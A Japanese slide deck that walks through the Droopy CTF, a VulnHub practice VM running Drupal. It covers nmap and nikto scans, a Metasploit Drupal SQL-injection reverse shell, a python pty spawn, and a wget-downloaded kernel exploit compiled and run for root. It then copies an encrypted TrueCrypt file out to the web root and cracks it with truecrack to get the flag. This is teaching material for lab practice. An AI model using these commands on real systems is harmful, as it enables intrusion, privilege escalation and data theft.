Slide 1

Slide 1 text

サーバ侵入手法 Droopy CTF

Slide 2

Slide 2 text

DroopyVM ・インストール https://download.vulnhub.com/droopy/ ・フリーソフトウェアのCMS(コンテンツ・マネジメント・システ ム)のDrupal(ドル―パル)を構築している

Slide 3

Slide 3 text

Virtualbox ダウンロード https://www.virtualbox.org/wiki/Downloads

Slide 4

Slide 4 text

Virtualbox インポート

Slide 5

Slide 5 text

Virtualbox ネットワーク設定

Slide 6

Slide 6 text

Virtualbox ネットワーク設定

Slide 7

Slide 7 text

Virtualbox スナップショット

Slide 8

Slide 8 text

ホスト検索 ①> nmap –sP 192.168.99.0/24 –sP: pingを利用してそのネットワークで現在動作している マシンの一覧を取得する事が出来る

Slide 9

Slide 9 text

ポートスキャン ①> nmap -A 192.168.99.101 -A:OSの種類やその他詳細なバージョン情報などを取得可能

Slide 10

Slide 10 text

ポートスキャン 80番ポートでDrupalが起動しているのがわかりましたので、ブラウ ザでアクセスしてみましょう。

Slide 11

Slide 11 text

ポートスキャン

Slide 12

Slide 12 text

サーバスキャン ①> nikto –h 192.168.99.101 -h:対象のIPアドレスを指定するオプション

Slide 13

Slide 13 text

サーバスキャン nikto

Slide 14

Slide 14 text

解法 Metasploit framework

Slide 15

Slide 15 text

Metasploit framework drupalを使用してることがわかったので、 KaliLinuxにてMSFで攻 撃を仕掛けてみる。

Slide 16

Slide 16 text

Metasploit framework 今回はSQLインジェクションを利用したペイロードを使用する (「set lhost ローカルホストIPアドレス」も必要かも)

Slide 17

Slide 17 text

Metaspliote framework 準備ができたら実行してリバースシェルを張りましょう。 shellコマンドでshellに入りましょう。

Slide 18

Slide 18 text

書き込み可能なディレクトリの漏洩 ①> find / -writable -type d 2>/dev/null -writable :書き込み可能 -type d :(d:ディレクトリ f:ファイル l:シンボリックリンク)

Slide 19

Slide 19 text

疑似端末 疑似端末を割り当てましょう。 疑似端末とは、UNIXにおけるテキスト端末の擬似デバイスのマス ター・スレーブのペアである。 python の ptyモジュールを利用することで疑似端末を制御できま す。 echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py

Slide 20

Slide 20 text

①> lsb_release -a Linux OSのディストリとバージョンを確認可能だがインストール されていないと使用できない。 ②> cat /etc/issue ディストリビューション環境に関係なくディストリとバージョン を確認することが出来ます。 OS情報の漏洩

Slide 21

Slide 21 text

ubuntu 14.04 既存の脆弱性を悪用する

Slide 22

Slide 22 text

権限昇格 • cd /tmp/ • wget https://www.exlpoit-db.com/download/37292 (KaliでDLしたファイルをwgetしないといけない) • mv 37292 37292.c • gcc 37292.c -o kernel • chmod 777 kernel • ./kernel • whoami

Slide 23

Slide 23 text

tcファイルのダウンロード ・cd /root ・ls -al ・cp /root/dave.tc /var/www/html/ ・Kaliでhttp://192.168.99.102/dave.tcにアクセス&DL

Slide 24

Slide 24 text

tcファイル TrueCryptコンテナファイルは暗号化された仮想ドライブファイ ル。 3種類の暗号化アルゴリズムと3種類のハッシュアルゴリズムを選 択できる。 普段はコンピュータ上に表示されず、必要な時だけ認識される秘 密のドライブ。 暗号化ドライブの領域を「見せかけ」と「本命」に分割できる。 このファイルのクラッキングツールとして「TrueCrack」が存在 している。

Slide 25

Slide 25 text

TrueCrack ①> truecrack --truecrypt dave.tc --wordlist rockyou.txt --v erbose tcファイルのパスワードクラッキングが可能 --truecrypt [file]:tcファイルの指定 --wordlist [file]:ワードリストの指定 --verbose:詳細情報の出力 https://github.com/lvaccaro/truecrack

Slide 26

Slide 26 text

TrueCrack rockyou.txtはワード数が多すぎるためヒントを元にワードを絞っ て実施する必要がある。 さらに、暗号化アルゴリズムの指定(-eオプション)やハッシュア ルゴリズムの指定(-kオプション)を上手く利用する必要がありま した。(デフォルトだとAESでRIPEMD-160です) ヒントは/var/mail/www-dataにありました。 "The password isn't longer than 11 characters" "we know what academy we went to" "remember that song by The Jam"

Slide 27

Slide 27 text

TrueCrack

Slide 28

Slide 28 text

cryptsetup • cryptsetup open --type tcrypt dave.tc dave • mkdir /media/dave • mount /dev/mapper/dave /media/dave • cd /media/dev • find . • cat .secret/.top/flag.txt